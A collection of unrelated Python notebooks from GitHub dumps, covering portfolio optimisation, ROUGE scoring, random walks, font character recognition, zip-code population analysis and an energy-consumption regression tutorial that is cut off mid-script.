alpha=0.3, \n c=\"g\", s=32, edgecolors=\"black\", label = r\"Input distirubtion $p_0$\")\naxes[0].scatter(y_samples[:, 0], y_samples[:, 1], \n c=\"orange\", s=32, edgecolors=\"black\", label = r\"Target distribution $p_1$\")\n\nfor ax, model in zip(axes[1:], models):\n y_pred = model(x_samples)\n \n ax.scatter(y_pred[:, 0], y_pred[:, 1], \n c=\"yellow\", s=32, edgecolors=\"black\", label = \"Fitted distribution\", zorder=1)\n \n trajectory = model.sample_euler_maruyama(tr_samples, 1000).detach().cpu()\n \n ax.scatter(tr_samples[:, 0], tr_samples[:, 1], \n c=\"g\", s=128, edgecolors=\"black\", label = r\"Trajectory start ($x \\sim p_0$)\", zorder=3)\n \n ax.scatter(trajectory[:, -1, 0], trajectory[:, -1, 1], \n c=\"red\", s=64, edgecolors=\"black\", label = r\"Trajectory end (fitted)\", zorder=3)\n \n for i in range(12):\n ax.plot(trajectory[i, ::1, 0], trajectory[i, ::1, 1], \"black\", markeredgecolor=\"black\",\n linewidth=1.5, zorder=2)\n if i == 0:\n ax.plot(trajectory[i, ::1, 0], trajectory[i, ::1, 1], \"grey\", markeredgecolor=\"black\",\n linewidth=0.5, zorder=2, label=r\"Trajectory of $T_{\\theta}$\")\n else:\n ax.plot(trajectory[i, ::1, 0], trajectory[i, ::1, 1], \"grey\", markeredgecolor=\"black\",\n linewidth=0.5, zorder=2)\n \nfor ax, title in zip(axes, titles):\n ax.set_xlim([-2.5, 2.5])\n ax.set_ylim([-2.5, 2.5])\n ax.legend(loc=\"lower left\")\n\nfig.tight_layout(pad=0.1)\n\n# -\n\n\n\n\n","repo_name":"ngushchin/LightSB","sub_path":"notebooks/swiss_roll_plot.ipynb","file_name":"swiss_roll_plot.ipynb","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"12177821454","text":"# # 7.3. Optimización de carteras I\n\n# - Descarga los datos del último año de algunos activos usando IEX. Denominamos $n$ como el número de activos elegidos.\n# - Crea un dataframe solo con los datos de cierre, tendrá dimensiones $m \\times n$ con $m$ el número de días y $n$ en número de activos.\n# - Calcula un portfolio aleatorio:\n# - Genera uno vector de pesos $\\mathbf{w}$ aleatorios de dimensiones $n \\times 1$, donde $n$ es el número de activos. Los pesos tienen que cumplir que $w_i \\ge 0, \\; i = 1,\\dots, n$ y $\\sum_{i=1}^{n} w_i = 1$ dado que solo permitimos estar en largo.\n# - Calcula el retorno y la desviacion típica del portfolio:\n# - $R_p = \\mathbf{w^T \\mu}$ donde $\\mathbf{\\mu}$ es un vector con la media de los retornos diarios de los activos, con dimensiones $n \\times 1$.\n# - $\\sigma_p = \\sqrt{\\mathbf{w}^T\\Sigma \\mathbf{w}}$, donde $\\Sigma$ es la matriz de covarianzas de los retornos, con dimensiones $n \\times n$\n# - Realiza una simulación de montecarlo para ello:\n# - Repite el procceso anterior $k$ veces por ejemplo 10000, guardando los pesos $\\mathbf{w}$, $R_p$ y $\\sigma_p$ de cada experimento.\n# - Realiza una figura con todos los puntos.\n# - Selecciona el punto de máximo ratio sharpe:\n# - Calcula el ratio sharpe para cada uno de los porfolios generados. El ratio sharpe se calcula como:\n# \\begin{equation*}\n# S_p = \\frac{R_p - R_f}{\\sigma_p}\n# \\end{equation*}\n# asumimos que $R_f$, el retorno del activo sin riesgo, es 0. \n# - Obtén el porfolio con el $S_p$ mayor.\n# - Pinta este punto en la figura y obtén los pesos.\n# \n#
\n# \"drawing\"\n#
Harry Markowitz, Novel 1990\n#
\n#\n# \n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\n# ### Descarga de datos\n\nimport utils\n\nsym = ['AAPL', 'FB', 'JPM', 'BRK.B', 'GOOG']\nst_range = '1y'\ndict_data = {}\nfor tck in sym:\n dict_data[tck] = utils.get_data_iex(tck, st_range=st_range)\n\ndata_close = pd.DataFrame(dict_data)\n\ndata_close.head()\n\n# ### Random porfolio\n\n# +\nreturns = np.log(data_close).diff().dropna()\n\ncov_returns = returns.cov()\nmean_returns = returns.mean()\n \nlist_r_p = []\nlist_std_p = []\nlist_w = []\nfor _ in range(10000):\n w = np.random.rand(5)\n w = w / np.sum(w)\n r_p = mean_returns.dot(w)\n std_p = np.sqrt(w @ cov_returns.values @ w) \n list_r_p.append(r_p)\n list_std_p.append(std_p)\n list_w.append(w)\n# -\n\nfig, ax = plt.subplots(figsize=(10, 7))\nax.plot(list_std_p, list_r_p, '.')\n\n# #### Max sharpe ratio portfolio\n\narr_std_p = np.array(list_std_p)\narr_r_p = np.array(list_r_p)\ns_r = arr_r_p/arr_std_p\nidx_m_sr = np.argmax(s_r)\n\nr_m_sr = arr_r_p[idx_m_sr]\nstd_m_sr = arr_std_p[idx_m_sr]\nw_m_sr = list_w[idx_m_sr]\n\npd.Series(w_m_sr, index=cov_returns.columns)\n\n# #### Plot max sharpe ratio portfolio\n\nfig, ax = plt.subplots(figsize=(10, 7))\nax.plot(list_std_p, list_r_p, '.')\nax.plot(std_m_sr, r_m_sr, '*', markersize=15)\n#ax.set_xlim(left=0)\n#ax.set_ylim(0)\n\n# ## Math opt con cvxpy\n#\n# El problema de la frontera eficiente se puede tratar como un problema de optimización cuadrática.\n#\n# La frontera eficiente se puede encontrar solucionando el siguiente problema:\n#\n# \\begin{equation*}\n# \\begin{aligned}\n# & \\underset{}{\\text{maximize}}\n# & & \\mathbf{w^T \\mu} - \\gamma \\mathbf{w}^T\\Sigma \\mathbf{w}\\\\\n# & \\text{subject to}\n# & & w_i \\ge 0, \\; i = 1,\\dots, n \\\\\n# &&& \\sum_{i=1}^{n} w_i = 1\n# \\end{aligned}\n# \\end{equation*}\n# Donde $\\mathbf{w}$ es el vector de pesos a optimizar, $\\mathbf{w^T \\mu}$ es el retorno del portfolio, $\\mathbf{w}^T\\Sigma \\mathbf{w}$ es la varianza del portfolio y $\\gamma$ es un parámetro de adversión al riesgo.\n#\n# Variando $\\gamma$ obtenemos los diferentes puntos de la frontera. Si $\\gamma=0$ maximizamos solo el retono y si $\\gamma \\rightarrow \\infty$ obtenemos el portfolio de mínimo riesgo. Variando $\\gamma$ obtenemos el *risk-return trade-off* óptimo.\n#\n# Puedes encontrar más información en: https://en.wikipedia.org/wiki/Modern_portfolio_theory\n\n# Para ejecutar el siguiente código necesitas installar cvxpy: ```pip install cvxpy```\n\nimport cvxpy as cp\n\n\ndef optimal_portfolio(returns, n_samples=1000, gamma_low=-1, gamma_high=10):\n sigma = returns.cov().values\n mu = np.mean(returns, axis=0).values \n n = sigma.shape[0] \n w = cp.Variable(n)\n gamma = cp.Parameter(nonneg=True)\n ret = mu.T*w\n risk = cp.quad_form(w, sigma)\n \n prob = cp.Problem(cp.Maximize(ret - gamma*risk), \n [cp.sum(w) == 1, w >= 0]) \n # Equivalente \n #prob = cp.Problem(cp.Minimize(risk - gamma*ret), \n # [cp.sum(w) == 1, w >= 0]) \n risk_data = np.zeros(n_samples)\n ret_data = np.zeros(n_samples)\n gamma_vals = np.logspace(gamma_low, gamma_high, num=n_samples)\n \n portfolio_weights = [] \n for i in range(n_samples):\n gamma.value = gamma_vals[i]\n prob.solve()\n risk_data[i] = np.sqrt(risk.value)\n ret_data[i] = ret.value\n portfolio_weights.append(w.value) \n return ret_data, risk_data, gamma_vals, portfolio_weights\n\n\nret_data, risk_data, gamma_vals, portfolio_weights = optimal_portfolio(returns)\n\nfig, ax = plt.subplots(figsize=(10, 7))\nplt.plot(list_std_p, list_r_p, '.')\nax.plot(risk_data, ret_data, 'y')\nax.plot(std_m_sr, r_m_sr, '*', markersize=15)\n_ = ax.set_xlabel('std')\n_ = ax.set_ylabel('mean')\n","repo_name":"rodrigohdzber/MASTER_IA","sub_path":"Python/Teoria/python-mia-master/ejercicios_soluciones/6_03_Solution.ipynb","file_name":"6_03_Solution.ipynb","file_ext":"py","file_size_in_byte":5501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"24485295065","text":"# + id=\"xvvDIMyS0JeJ\"\n# !pip install sumeval\n# !python -m spacy download en\n\n# + id=\"uUGxxAUU1Cuh\"\nimport pandas as pd\n\n# + id=\"oaLuycno0Mtz\"\nfrom sumeval.metrics.rouge import RougeCalculator\n\n# + id=\"gmE-PAqa0yJh\"\ndf = pd.read_csv('/content/drive/MyDrive/Colab Notebooks/test_prediction.csv')\n\n# + id=\"o-Nswtib1tGy\"\ndf.replace('sostok','', regex=True, inplace=True)\ndf.replace('eostok','', regex=True, inplace=True)\n\n# + id=\"-wUai2Id14Kp\"\ndf = df[['summary_original','summary_predicted']]\n\n# + id=\"kwDJAocp0YJi\"\nrouge = RougeCalculator(stopwords=True, lang=\"en\")\n\nrn1 = list()\nrn2 = list()\nrL = list()\nrbe = list()\n\nfor i in range(0,df.shape[0]):\n model_summary = df.loc[i,'summary_predicted']\n refrence_summary = df.loc[i,'summary_original']\n\n rouge_n_1 = rouge.rouge_n(\n summary=model_summary,\n references=refrence_summary,\n n=1)\n\n rouge_n_2 = rouge.rouge_n(\n summary=model_summary,\n references=[refrence_summary],\n n=2)\n\n rouge_l = rouge.rouge_l(\n summary=model_summary,\n references=[refrence_summary])\n\n # You need spaCy to calculate ROUGE-BE\n\n rouge_be = rouge.rouge_be(\n summary=model_summary,\n references=[refrence_summary])\n \n \n rn1.append(rouge_n_1)\n rn2.append(rouge_n_2)\n rL.append(rouge_l)\n rbe.append(rouge_be)\n\n# + id=\"O729DaCI4tUn\"\nprint(rn1) \nprint(rn2) \nprint(rL) \nprint(rbe)\n\n# + id=\"7W8F8ZGN9e_q\"\nimport numpy as np\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 0} id=\"5VaWi2Wu-ONB\" outputId=\"311264e5-9f79-4eb4-b659-ccc2a976c073\"\nprint('ROUGE 1',np.sum(rn1)/len(rn1))\nprint('ROUGE L',np.sum(rL)/len(rL))\n","repo_name":"avithekkc/news-headline-generator","sub_path":"rouge.ipynb","file_name":"rouge.ipynb","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"70695520687","text":"import numpy as np\nimport scipy.stats as st\nimport matplotlib.pyplot as plt\n\n\n# We start by generating sequences of N steps, +1 or -1, for our random walker to take. Because we are trying to sample a probability distribution with discrete support {-1, 1}, one convenient implementation is to use the numpy random.choice() function. \n#\n# #### a) Use this function in the cell below to produce a list of $N=10000$ steps of +1 or -1 with equal probability. This list details a specific trajectory of a random walker where the probability of steps to the left and right are equal. You do not need to print the sequence, however, you should determine the sum and mean. The sum of this sequence is the final displacement at the conclusion of the random walk of $N$ steps. Input your answer in the cell below.\n\n# +\n#a) Solution\n\nrandom = np.random.default_rng().choice\nN = 10000 # length of list\nL = [] # list to be generated \nchoices = [-1,1]\nfor i in range(N):\n L.append(random(choices))\n\nprint(sum(L), sum(L)/N)\n\n\n\n# -\n\n# You will notice in the documentation for numpy.random.choice() that you have the ability to alter the probability of stepping +1 to be different from p=0.5. Changing this value from 0.5 is identical to the problem of the biased coin toss that you solved in HW1. Set the probability of step of $-1$ to $(1-p)$ and set of $+1$ to $p$.\n# #### b) Produce another sequence of 10000 steps with $p=0.25$ and determine the sum and mean of the sequence.\n#\n\n# +\n#b) Solution\np = .25\nprobabilities = [1-p, p] # probabiliy for each item(-1,1)\n\nL_b = []\n\nfor i in range(N):\n L_b.append(random(choices, p = probabilities))\n\nprint(sum(L_b), sum(L_b)/N)\n\n# -\n\n# We are interested in the distribution of final displacements after different sequences of steps. To determine the distribution of net displacements after N steps, we repeatedly generate trajectories to find the frequency with which our random walker ends up at various displacements from the origin. \n#\n# #### c) Write a function Trajectories(M, N, p) to repeat the generation of $M$ trajectories each with $N$ steps, where each step has a probability p of $+1$ and $(1-p)$ of $-1$. This function should output an array of M integers representing where the random walker ends up for each trial.\n\n# +\n#c) Solution\n\n\n\ndef Trajectories(M, N, p):\n # generate a total of M trajectories, with each having N steps, each step having probability [1-p,p]\n # output: array of M integers with each representing the final location after N steps\n ans = []\n for i in range(M):\n ans.append(\n sum(random([-1,1], N, p=[1-p,p]))\n )\n return ans\n\n \n\n\nprint(len(Trajectories(10, 10000, 0.25)))\n\n\n\n\n\n# def gen(N, p):\n# # generate an individual trajectory with the specified choices and probabilities for each choice\n# L = []\n# for i in range(N):\n# L.append(random(choices, p = [1-p, p]))\n# return L\n\n# for i in range(M):\n# arr.append(sum(gen(N,p)))\n# return arr\n\n\n# -\n\n# #### d) Generate $M=1000$ sequences of $N=10000$ steps with $p=0.5$. Create a histogram of the final results. Use $\\sim 50$ bins for the histogram and scale the x axis to include the full range of results for the final trajectories. This histogram represents the relative probability of ending up at a given displacement after N steps.\n\n# +\n#d) Solution\nbin_count,M,N,p = 50,1000,10000,0.5\ntrajectory_final_positions = np.array(Trajectories(M,N,p))\n\nplt.hist(trajectory_final_positions, bins = bin_count)\nplt.show()\n\n\nprint(len(trajectory_final_positions))\n\n\n\n# +\n#### e) Compute the mean and variance of this distribution\n\n# +\n#e) Solution\n# -\n\n#e) Solution\nprint(np.mean(trajectory_final_positions))\nprint(np.var(trajectory_final_positions))\n\n# #### f) Repeat the creation of the histogram of displacemnts and the calculation of the mean and variance for the case where $p=0.25$. Keep the number of trials $M=1000$ and number of steps $N=10000$.\n\n# +\n#f) Solution\ntrajectory_final_positions = np.array(Trajectories(M,N,0.25))\n\nplt.hist(trajectory_final_positions, bins = bin_count, )\nplt.show()\n\nprint(np.mean(trajectory_final_positions))\nprint(np.var(trajectory_final_positions))\n\n\n# -\n\n# Compare the mean and variance for different values of N and p. Your results should compare well with the analytical expressions found in your treatment of the biased coin toss in HW1, where $p$ is the probability of stepping in the $+1$ direction\n\n# $$\\mathrm{Mean} = N(2p-1) \\qquad \\mathrm{Variance} = 4Np(1-p).$$\n\n# Recall that the binomial distribution describing this problem is:\n# $$P(N, r) = \\binom{N}{r} p^r (1-p)^{N-r},$$\n# where $r$ is number of +1 steps in the trajectory. Rewrite this in terms of the net displacement $x = r - (N-r)$. We can then compare this analytical result to our numerical result by overplotting the binomial distribution with the results of our simulations.\n\n# #### g) Overplot the exact biased binomial distribution over the histogram of ending distances. The function scipy.stats.binom.pmf can be used to compute this directly. Explore values of $p = 0.25, 0.5, 0.75$ and show that the binomial distribution describes the data and that the measured mean and vairance agree with the expectations from the binomial distribution. Keep the number of trials $M=1000$ and number of steps $N=10000$.\n\n# +\n#g) Solution\np = 0.5 # change this between 0.25, 0.5, 0.75\nassert M == 1000 and N == 10000\n\ndef R(x):\n # note that the returned value is ROUNDED to INTEGERS. Otherwise pmf function returns 0\n return int(round(0.5 * (x+N)))\n\ndef X(r):\n # transform r back to x\n return 2*r - N\n\ntrajectory_final_positions = np.array(Trajectories(M,N,p))\n_min, _max = min(trajectory_final_positions), max(trajectory_final_positions)\nx = np.arange(_min, _max, step = (_max-_min)/bin_count)\n\nr_list = [R(i) for i in x]\n\n\n\n# print(r_list)\n\n\n\n\n\n\ntheoretical_trajectory_final_positions = []\n\n\ndef P(r):\n # print(\"-----P is called.------ \")\n # print(\"r and p are: \", r, p)\n # print(\"------------------------\")\n return st.binom.pmf(r, N, p)\n\n\n\n\n# print(\"testing ----\", r_list[1])\n# print(st.binom.pmf(4843.1, 10000, 0.5))\n\n# for each value of r, calculate the probability associated with it, then multiply that with the total number of trials to get the actual number of times that particular value of r value is met. Push r this many times into theoretical_trajectory_final_positions list. This is analogous to the trajectory_final_positions list. \n\n\n\n#normalize\n_sum = sum(\n [P(r) for r in r_list]\n)\n\n_normalized_probabilities = [P(r) / _sum for r in r_list]\n\n# print(_sum)\n\n# print(M * P(r_list[0]))\n\nassert abs(1-sum(_normalized_probabilities)) < 1/100\nprint(\"asserted: total probability: \", sum(_normalized_probabilities))\n\n\nfor r in r_list:\n prob_r = P(r) / _sum\n # print(\"---probability:\", prob_r)\n X_r = X(r)\n append_how_many_times = int(round(M * prob_r))\n \n for i in range(append_how_many_times):\n theoretical_trajectory_final_positions.append(X_r)\n\n\n\nprint(theoretical_trajectory_final_positions)\nprint(\"hello world\")\n\n# pyplot.hist(x, bins, alpha=0.5, label='x')\n# pyplot.hist(y, bins, alpha=0.5, label='y')\n\nplt.hist(trajectory_final_positions, bins = bin_count, alpha = 0.5, label = 'experimental')\nplt.hist(theoretical_trajectory_final_positions, bins = bin_count,alpha = 0.5, label = 'theoretical')\n\n# pyplot.legend(loc='upper right')\n\nplt.legend(loc = 'upper right')\nplt.show()\n\n\n\n\n# -\n\n\n\n\n","repo_name":"jackbb147/bwp","sub_path":"bwp.ipynb","file_name":"bwp.ipynb","file_ext":"py","file_size_in_byte":7500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"72506586605","text":"import numpy as np\nimport pandas as pd\nimport glob\nimport cv2\nimport matplotlib.pyplot as plt\n\n# # Load Font Data\n# https://archive.ics.uci.edu/ml/datasets/Character+Font+Images#\n\nfont_paths = glob.glob('./datasets/fonts/*.csv')\nlen(font_paths)\n\ndf_main = pd.concat(map(pd.read_csv, font_paths))\n\ndf_labelled = df_main[df_main['m_label'].between(65,90, inclusive=True)]\ndf_labelled = df_labelled.append(df_main[df_main['m_label'].between(97,122, inclusive=True)], ignore_index=True)\ndf_labelled = df_labelled.append(df_main[df_main['m_label'].between(48,57, inclusive=True)], ignore_index=True)\ndf_labelled.shape\n\ndf_labelled.head()\n\nsample = np.reshape(np.array(df_labelled.iloc[1, -400:], dtype=np.float64), (1,20,20)) / 255\nsample.shape\n\nplt.imshow(sample[0], cmap='gray')\n\n# # Convert Dataframe to Data\n\nX, Y = np.array(df_labelled.iloc[:, -400:], dtype=np.float64), np.array(df_labelled.loc[:, 'm_label'], dtype=np.int64)\n\nX.shape, Y.shape\n\nY[Y<58] -= 48\nY[Y>96] -= 61\nY[Y>64] -= 55\n\n# # Fix Data Distribution\n\n(unq_labels, unq_counts) = np.unique(Y, return_counts=True)\n\nplt.bar(unq_labels, unq_counts)\n\n# # Resample Data\n\nfrom sklearn.utils import resample\n\nX_res, Y_res = resample(X,Y,n_samples=1000)\n\nX_res.shape, Y_res.shape\n\n(unq_labels_res, unq_counts_res) = np.unique(Y_res, return_counts=True)\n\nplt.bar(unq_labels_res, unq_counts_res)\n\n# # Split Data\n\nfrom sklearn.model_selection import train_test_split\n\nx_train, x_test, y_train, y_test = train_test_split(X, Y)\nm_train = x_train.shape[0]\nm_test = x_test.shape[0]\nx_train = np.reshape(x_train, (m_train,20,20,1))\nx_test = np.reshape(x_test, (m_test,20,20,1))\n\nx_train.shape, x_test.shape\n\n# # Model\n\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\naug = ImageDataGenerator(\n rotation_range=10,\n zoom_range=0.05,\n width_shift_range=0.1,\n height_shift_range=0.1,\n shear_range=0.15,\n horizontal_flip=False,\n fill_mode=\"nearest\"\n)\n# aug.fit(x_train)\n\nmodel = keras.models.Sequential([\n keras.layers.Flatten(input_shape=(20, 20, 1)),\n keras.layers.BatchNormalization(),\n keras.layers.Dense(250, activation='relu'),\n keras.layers.Dropout(0.2),\n keras.layers.Dense(len(unq_labels)),\n keras.layers.Dense(len(unq_labels), activation='softmax')\n])\n\nmodel.compile(optimizer='adam',\n loss=keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy','f1'])\n\nmodel.summary()\n\nmodel.fit(aug.flow(x_train, y_train), epochs=5)\n\nmodel.evaluate(aug.flow(x_test, y_test, batch_size=BS))\n\n# # Test Other Images\n\nimages = []\nfor path in glob.glob('./datasets/tests/*.jpg'):\n image = cv2.imread(path)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n _, image = cv2.threshold(image ,0 ,255,cv2.THRESH_OTSU)\n image = cv2.resize(image, (20,20))\n images.append(image)\n\nimages = np.array(images)\nimages = np.reshape(images, (images.shape[0], 20,20,1))\n\npredictions = model.predict(images)\npredictions.shape\n\nfinal_pred = np.argmax(predictions, axis=1)\nfinal_pred\n\nfor i in range(images.shape[0]):\n plt.matshow(images[i], cmap='gray')\n plt.title(final_pred[i])\n\n# # Save Model\n\nprob_model.save('./models/character-recognition-update')\n\n\n","repo_name":"divyanshf/text-detection-and-translation","sub_path":"Character Recognition - Updated.ipynb","file_name":"Character Recognition - Updated.ipynb","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"13694443457","text":"import pandas as pd\nimport numpy as np\n\nusZipCodeData = pd.read_csv('http://people.bu.edu/kalathur/datasets/uszips.csv',\n converters={'zip': lambda x: str(x)})\n\nusZipCodeData.head()\n\n##Q1\nusZipCodeData.population.describe()\n\n##Q2\nusZipCodeData.zip[usZipCodeData['population']<1000].count()\n\n##Q3\nusZipCodeData=usZipCodeData[usZipCodeData['population']>=1000]\nusZipCodeData= usZipCodeData.reindex(np.arange(usZipCodeData.zip.count())\\\n , method='ffill')\nusZipCodeData.head(10)\n\n##Q4\nusZipCodeData.population.describe()\n## count is obviously smaller, mean, min, quantiles, higher.\n## max is the same.\n## stdev is smaller, make sense\n\n##Q5\nma_StateData= usZipCodeData[usZipCodeData['state_name']=='Massachusetts']\nma_StateData.head()\n\n## Q6\nma_StateData.population.describe()\n## smaller count, higher mean, smaller stdev (make sense, more alike values)\n## min, quantiles higher, max is smaller.\n\nimport matplotlib.pyplot as plt\n\n### Q7\nplt.hist(ma_StateData.population)\n\n### population on massachusets state shows a right skeewed\n### distribution of values, which implies that the mode and median\n### are lower than the mean\n### the histogam also show us that the state has\n### a high concentration of zipcodes with less than 20,000 people\n\n\n##Q8\ntopzip_20_density =ma_StateData.sort_values(by='density', ascending=False)[['zip','density']].head(20)\nprint(topzip_20_density)\n\n##Q9\ntopzip_20_population=ma_StateData.sort_values(by='population', ascending=False)[['zip','population']].head(20)\nprint(topzip_20_population)\n\n###Q10\n[x for x in np.array(topzip_20_population.zip) if x in np.array(topzip_20_density.zip)]\n\n###Q11\nx= ma_StateData.lat\ny= ma_StateData.lng\ncolors= np.log(ma_StateData.population)\nsize = np.multiply(ma_StateData.density, 1/25)\nplt.scatter(x,y, c= colors, s= size)\n\n##Q12\ntop_75=usZipCodeData.sort_values(by='population', ascending= False).head(75)\nlabels = pd.Series(top_75.state_name).unique()\nvalues = pd.Series(top_75.state_name).value_counts()\nplt.pie(values, labels=labels)\nplt.axis('equal')\n\n##q13\nnp.random.seed(6805)\nrows=np.random.randint(ma_StateData.zip.count(), size=10).tolist()\ndata=ma_StateData.iloc[rows]\nplt.barh(data.city, data.population)\n","repo_name":"diego-carrion-a/Data_Analytics_and_Implementations","sub_path":"Python/Population analysis.ipynb","file_name":"Population analysis.ipynb","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"35000287087","text":"# # Energy Prediction Exercise\n#\n# Please reference the `READ.ME` before getting started\n#\n# ## Goal\n#\n# Create a model that can accurately (+/- 10%) predict the energy consumption on December 31st using nothing but energy data and publicly accessible weather data.\n\n# ## Data Import\n#\n# Import the data and convert the csv data into a Pandas dataframe. Then plot using matplotlib\n\nimport pandas as pd\nraw_df = pd.read_csv('./data/cleaned_data.csv')\nraw_df\n\n# ## Graphical View\n#\n\nraw_df.reset_index().plot.scatter(x = 'index', y='consumption')\n\nraw_df.tail(24).reset_index().plot.scatter(x = 'index', y='consumption')\n\n# ## Minor Transformations and Cleanup\n#\n# 1. Create a new `timestamp` column that transforms the stringified timestamp to python datetime objects.\n# 2. Set the new column to the dataframes index column.\n# 3. Drop the old `Timestamp` column as it is no longer needed.\n# 4. Add a new `hour` and `dow` (day of week) column for additional timeframe analysis using built in pandas methods\n# 5. Duplicate the dataframe for a training set\n# 6. Remove the last day's data (we don't want to train the models with the data we're trying to predict!)\n\n# +\n\nraw_df['timestamp'] = pd.to_datetime(raw_df['Timestamp'])\nraw_df.drop(columns=['Timestamp'], inplace=True)\nraw_df.set_index('timestamp', inplace=True)\n\nraw_df['hour'] = raw_df.index.hour\nraw_df['dow'] = raw_df.index.dayofweek\n\ndf = raw_df.copy()\ndf.drop(df.tail(24).index,inplace=True)\ndf\n# -\n\n# ## Graphical Comparison\n#\n# Plot Hour, DoW, Outdoor Air Temp, CDD, HDD vs Energy\n\nimport matplotlib.pyplot as plt\nplt.rcParams[\"figure.figsize\"] = (20,10)\nfigure, axis = plt.subplots(3, 2)\naxis[0, 0].scatter(df.index, df['consumption'])\naxis[0, 0].set_title('Time vs Consumption')\naxis[0, 1].scatter(df['hour'], df['consumption'])\naxis[0, 1].set_title('Hour vs Consumption')\naxis[1, 0].scatter(df['dow'], df['consumption'])\naxis[1, 0].set_title('Day of Week vs Consumption')\naxis[1, 1].scatter(df['cdd'], df['consumption'])\naxis[1, 1].set_title('CDD vs Consumption')\naxis[2, 0].scatter(df['hdd'], df['consumption'])\naxis[2, 0].set_title('HDD vs Consumption')\naxis[2, 1].scatter(df['avg_tmp'], df['consumption'])\naxis[2, 1].set_title('Avg Temp vs Consumption')\nplt.show()\n\n# ## Let's Start Modeling!!\n#\n# We're going to start with a simple regression model which is essentially finding the line of best fit for the data.\n#\n# Our first variable we're going to try and fit is Hour vs Consumption using the Stat Models library.\n#\n# After initial testing, we are going to use a 5th degree polynomial which we can create with Scikit-learn.\n#\n# Our steps include:\n# 1. Make a fresh copy of the dataframe that we can manipulate\n# 3. Apply our 5th degree polynomial by creating 5 new columns in the dataframe and applying the scikit-learn PolynomialFeatures class\n# 4. Separate out our data into independent (feature in ml lingo) and dependent (label in ml lingo) variables\n#\n# Let's check out what the independent data looks like!\n#\n\n# +\nimport statsmodels.api as sm\nfrom sklearn.preprocessing import PolynomialFeatures\n\n\nhour_df = df.copy()\n\nhour_poly_degree = 5\nhour_df[[f'hour:poly={i}' for i in range(0, hour_poly_degree + 1)]] = PolynomialFeatures(hour_poly_degree).fit_transform(df[['hour']])\n\nhour_x = hour_df.drop(columns=['hour', 'dow', 'cdd', 'hdd', 'avg_tmp', 'consumption'])\ny = df['consumption']\n\nhour_x\n# -\n\n# 5. Then we fit our data using statsmodels Linear Regression Ordinary Least Squares model\n#\n# Next lets checkout the summary statistics!\n\nhour_model = sm.OLS(y, hour_x).fit()\nhour_model.summary()\n\n# ## Analyze the Results\n#\n# We are interested in the R-Squared and P>|t| values above\n#\n# The R-Squared is very important. Utilties and ESCO companies follow IPMVP which is the International Performance Measurement and Verification Protocol to verify energy savings. You can learn more about IPMVP [HERE](https://evo-world.org/en/products-services-mainmenu-en/protocols/ipmvp) however, the important thing to know is we need a r-squared value greater than 0.7 to be deemed statistically significant.\n#\n# The p-value is also very important when looking at the summary statistics. This value can tell us weather the independent variable had a statistically significant impact on the model. Typically any value less than 0.05 is considered statistically significant. If the value is greater than 0.05 you typically drop that variable and refit the model without the bad variable.\n\n# ## Let's see how this model looks!\n#\n# Even though the R-Squared value is below 0.7, lets still take a look and see how this model did!\n\n# +\n# Show Hourly Predicted Model\nhours = hour_x.copy().iloc[:24,:]\nhours['Predicted Consumption'] = hour_model.predict(hours)\nhours['hour'] = hours.index.hour\n\nplt.scatter(df['hour'], df['consumption'])\nplt.title('Hour vs Consumption')\nplt.plot(hours['hour'], hours['Predicted Consumption'], color='red')\nplt.show()\n\nyear_df = hour_x.copy()\nyear_df['Predicted Consumption'] = hour_model.predict(year_df)\nyear_df['hour'] = year_df.index.hour\nplt.scatter(df.index, df['consumption'])\nplt.plot(year_df.index, year_df['Predicted Consumption'], color='red')\nplt.show()\n\n# -\n\n# ## How to do the other variables look?\n#\n# So I ran the numbers on each of the variables and the results are as follows:\n#\n# - DoW is best with a 5th degree polynomial applied\n# - CDD and HDD work best with no polynomial applied (they are suppose to be linear)\n# - Avg Temp works best with a 6th degree polynomial applied.\n\n# +\n## DoW Model\ndow_poly_degree = 5\ndow_df = df.copy()\ndow_df[[f'hour:poly={i}' for i in range(0, dow_poly_degree + 1)]] = PolynomialFeatures(dow_poly_degree).fit_transform(df[['dow']])\ndow_x = dow_df.drop(columns=['hour', 'dow', 'cdd', 'hdd', 'avg_tmp', 'consumption'])\ndow_x = sm.add_constant(dow_x)\ny = df['consumption']\ndow_model = sm.OLS(y, dow_x).fit()\n\n# CDD Model\ncdd_df = df.copy()\ncdd_df = cdd_df[(cdd_df.cdd != 0)]\ncdd_x = cdd_df.drop(columns=['hour', 'dow', 'hdd', 'avg_tmp', 'consumption'])\ncdd_x = sm.add_constant(cdd_x)\ny = cdd_df['consumption']\ncdd_model = sm.OLS(y, cdd_x).fit()\n\n# HDD Model\nhdd_df = df.copy()\nhdd_df = hdd_df[(hdd_df.hdd != 0)]\nhdd_x = hdd_df.drop(columns=['hour', 'dow', 'cdd', 'avg_tmp', 'consumption'])\nhdd_x = sm.add_constant(hdd_x)\ny = hdd_df['consumption']\nhdd_model = sm.OLS(y, hdd_x).fit()\n\n# Avg Temp Model\navg_tmp_poly_degree = 6\navg_tmp_df = df.copy()\navg_tmp_df[[f'hour:poly={i}' for i in range(0, avg_tmp_poly_degree + 1)]] = PolynomialFeatures(avg_tmp_poly_degree).fit_transform(df[['avg_tmp']])\navg_tmp_x = avg_tmp_df.drop(columns=['hour', 'dow', 'cdd', 'hdd', 'avg_tmp', 'consumption'])\navg_tmp_x = sm.add_constant(avg_tmp_x)\ny = df['consumption']\navg_temp_model = sm.OLS(y, avg_tmp_x).fit()\n\n# Predict Individual Models\n\n# Predict DoW Predicted 